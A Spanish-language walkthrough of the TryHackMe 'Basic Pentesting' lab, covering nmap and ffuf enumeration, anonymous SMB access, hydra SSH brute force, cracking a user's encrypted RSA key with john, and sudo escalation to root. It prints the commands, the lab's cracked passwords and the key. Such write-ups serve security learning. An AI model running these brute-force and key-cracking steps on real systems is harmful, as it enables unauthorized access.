> For the complete documentation index, see [llms.txt](https://enciall.gitbook.io/enciall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://enciall.gitbook.io/enciall/ctf/try-hack-me/basic-pentesting.md).

# Basic Pentesting

### Iniciamos con un escaneo rápido para identificar los puertos abiertos: &#x20;

```bash
nmap -p- -sS -sV -sC --open --min-rate 5000 -vvv -n -Pn 10.10.133.151 -oN scan.txt
```

si te da errores quita el **--min-rate 5000**

```bash
PORT    STATE SERVICE     REASON         VERSION
22/tcp  open  ssh         syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a1:ba:fd:8a:f2:1c:e9:35:7b:fa:3a:33:16:da:81:87 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKqhcnrodl37rR1Yzlg3TY8wdxaoWcDzUEoXg/itUU/mFKTnmp1OanBYONVqaiNtjNJQiu5MpRTHoqSGNbZcqGiM8eHDQT/azwKQ7UN77QPOpRphLU1mie2UPwMkvLK+4Po4nQB+J0TWLIxBRT2791/A55t6WWTwkUNfWsADKCSOddH+/dlo3xQ3Zq7N0gNNFZ3A8IVVzhxNjGzkryfaE7BuIyX0/Tj+GW5bDnFmRNWs/NmnAipK/DGW+4DB7rYSTkU2SPv0VqtoZq8xw+N5S/8kp1OmlYoSAmzrO+c8aoVzKQf3YwUVuQmMoWkQGGrkpFsIFmTmx92vNFUFozsUGGYcV2eV1MZLJm3TSlpkQqN5amMdFFvq0MKTYeg1dJfIkOiVGn5OA3dVoiXRwf5rk3DdjsSm6886CmZ/Era7x6yvfwvOUkBf0kjf4ku7Xohs5y+EA0ytXxtK5NXEfH1l9NgdPH9Mz1wzSHW5cMYkJVDzo1KdXtcowHFmhsxRmdNBE=
|   256 cc:08:42:a5:b9:84:90:2d:1f:df:4d:c2:25:13:7a:cc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK8op6oYNilUwn8kRbOrIecFPCnqTAxBk+rWeehsDMnupewFZWAMn3SYcBBhbh+6+k4SaMy1jfvETa+KzxTPn2s=
|   256 5d:bf:3d:ff:35:1a:c9:e4:52:68:d0:09:96:12:33:07 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEF4bRvNftgTmze5cpfKc16LFoIcp6r3JWbRFTlxwcU9
80/tcp  open  http        syn-ack ttl 60 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open  netbios-ssn syn-ack ttl 60 Samba smbd 4
445/tcp open  netbios-ssn syn-ack ttl 60 Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-08-07T00:30:58
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   BASIC2<00>           Flags: <unique><active>
|   BASIC2<03>           Flags: <unique><active>
|   BASIC2<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_clock-skew: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 32374/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 24937/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 10643/udp): CLEAN (Failed to receive data)
|   Check 4 (port 12514/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

```

vemos varios puertos abiertos y todos son interesante primero vamos a ver 80 (HTTP)&#x20;

<figure><img src="/files/8aMFyj90z1oLcohsIIE2" alt=""><figcaption></figcaption></figure>

vemos que tenemos una pagina en mantenimiento si inspeccionamos la pagina vemos un mensaje para el equipo

<figure><img src="/files/iBfXmw8QzhZvd0CrYyUH" alt=""><figcaption></figcaption></figure>

hacemos fuzzing para encontrar la seccion que nos cuentan

```bash
ffuf -u http://10.201.48.193/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

```

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.201.48.193/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

development             [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 133ms]

```

vemos que tenemos un directorio llamado ***development*** si vamos a esa ruta en el navegador encontramos esto:

<figure><img src="/files/DWHBIhtBfCz3dlbJWLyP" alt=""><figcaption></figcaption></figure>

tenemos dos archivos veamos el contenido de los dos:

dev.txt:

<figure><img src="/files/9Cu8bJ16NEKptQ14jKrR" alt=""><figcaption></figcaption></figure>

> 23/04/2018: He estado jugando con eso de Struts y ¡es genial! Creo que estaría bien alojarlo también en este servidor. Todavía no he creado ninguna aplicación web real, pero he probado ese ejemplo que se muestra para explicar cómo funciona (¡y es la versión REST del ejemplo!). Ah, y ahora mismo estoy usando la versión 2.5.12, porque las otras versiones me daban problemas. -K
>
> 22/04/2018: Se ha configurado SMB. -K
>
> 21/04/2018: He configurado Apache. Más tarde añadiré nuestro contenido. -J

j.txt:

<figure><img src="/files/uBBY9zJQ1TzeJm3SgU6K" alt=""><figcaption></figcaption></figure>

> Para J:
>
> He estado revisando el contenido de /etc/shadow para asegurarme de que no tengamos credenciales débiles, y pude descifrar tu hash muy fácilmente. Ya conoces nuestra política de contraseñas, así que por favor,
>
> ¿la sigues? Cambia esa contraseña lo antes posible.
>
> -K

en el segundo archivo nos cuenta algo muy interesante nos dice que la contraseña de ***J*** es insegura asi que necesitaremos encontrar cual es el usuario verdadero de J asi que continuemos buscando pasamos a ***SMB*** probemos si podemos acceder sin contraseñas a los recursos compartidos de ***SMB***

```bash
smbclient -L //10.201.48.193 -N
```

```
        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.15.13-Ubuntu)
```

vemos que hay un recurso llamado Anonymous asi que accederemos a el con el siguiente comando:

```bash
smbclient //10.201.48.193/Anonymous -N  
```

nos dara una consola interactiva y estando dentro haremos un ls para ver que hay en el recurso compartido

```bash
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 12:31:20 2018
  ..                                  D        0  Thu Apr 19 12:13:06 2018
  staff.txt                           N      173  Thu Apr 19 12:29:55 2018

                14282840 blocks of size 1024. 6442520 blocks available
smb: \> 

```

vemos un archivo de texto llamado **staff** y al parecer no hay nada mas asi que descargamos el archivo con:

```bash
smb: \> get staff.txt 
getting file \staff.txt of size 173 as staff.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> 
```

unas vez descargado salimos de la consola y leemos el archivo con cat:

```bash
cat staff.txt 
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay
```

> Aviso al personal:
>
> POR FAVOR, no suban archivos no relacionados con el trabajo a este recurso compartido. Sé que es solo por diversión, pero
>
> así es como se cometen errores. (¡Esto también va por ti, Jan!)
>
> -Kay

como vemos, el nombre de completo de **J** es **Jan** y anteriormente nos mencionaron que la contraseña de Jan era una mierda asi que tratemos de hacer fuerza bruta en el servicio ***SSH*** con el siguiente comando:

```
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.201.48.193
```

```bash
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-06 21:23:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.201.48.193:22/
[STATUS] 196.00 tries/min, 196 tries in 00:01h, 14344207 to do in 1219:45h, 12 active
[STATUS] 190.67 tries/min, 572 tries in 00:03h, 14343831 to do in 1253:50h, 12 active
[22][ssh] host: 10.201.48.193   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-06 21:27:59
```

vemos que la contraseña de **Jan** es **armando** asi que accedemos con a ***SSH:***

```bash
ssh jan@10.201.48.193
```

una vez a dentro vemos que en el directorio de jan no hay nada asi que vamos a otro directorio vamos al home de kay que es el otro usuario

```bash
jan@ip-10-201-48-193:~$ cd /home/kay/
jan@ip-10-201-48-193:/home/kay$ ls
pass.bak
jan@ip-10-201-48-193:/home/kay$ 
```

vemos un archivo pass.bak pero no tenemos permisos para verlo asi que seguimos buscando:

```bash
jan@ip-10-201-48-193:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Aug  6 20:26 ..
-rw------- 1 kay  kay   789 Jun 22 13:41 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
jan@ip-10-201-48-193:/home/kay$ 
```

haciendo una **ls -la** para buscar mas a profundo vemos algo interesante vemos un .ssh que tenemos permiso para acceder veamos que hay adentro

```bash
jan@ip-10-201-48-193:/home/kay/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
jan@ip-10-201-48-193:/home/kay/.ssh$ 
```

vemos un id\_rsa asi que lo abrimos y lo copiamos para crackearlo y obtener la contraseña

```bash
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyklKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275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+BxdeMoiAk8c1Yy1tzwdaMZSnOSyHXuVlB4Jn5
phQL3R8OrZETsuXxfDVKrPeaOKEE1vhEVZQXVSOHGCuiDYkCA6al6WYdI9i2+uNR
ogjvVVBVVZIBH+w5YJhYtrInQ7DMqAyX1YB2pmC+leRgF3yrP9a2kLAaDk9dBQcV
ev6cTcfzhBhyVqml1WqwDUZtROTwfl80jo8QDlq+HE0bvCB/o2FxQKYEtgfH4/UC
D5qrsHAK15DnhH4IXrIkPlA799CXrhWi7mF5Ji41F3O7iAEjwKh6Q/YjgPvgj8LG
OsCP/iugxt7u+91J7qov/RBTrO7GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
t/CCVLBkM22Ewao8glguHN5VtaNH0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Sz1it8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----

```

lo copiamos en un archivo y lo pasamos a un hash

```bash
ssh2john id_rsa > hash.txt
```

ahora la crackeamos

```
john hash
```

y nos da que la contraseña es beeswax ahora accedemos a ssh como kay

```
ssh kay@10.201.48.193 -i id_rsa
```

```
kay@ip-10-201-48-193:~$ ls
pass.bak
kay@ip-10-201-48-193:~$ cat pass.bak 
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@ip-10-201-48-193:~$ 
```

vemos la contraseña de kay que es extremadamente larga hacemos un sudo -l para ver que permisos tiene kay:

```
Matching Defaults entries for kay on ip-10-201-48-193:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kay may run the following commands on ip-10-201-48-193:
    (ALL : ALL) ALL

```

vemos que tenemos todos lo permisos de root asi que hacemos un sudo su para convertirnos en root

```
kay@ip-10-201-48-193:~$ sudo su
root@ip-10-201-48-193:/home/kay# whoami
root
root@ip-10-201-48-193:/home/kay# 
```

yyyy ya eso es todo, chao
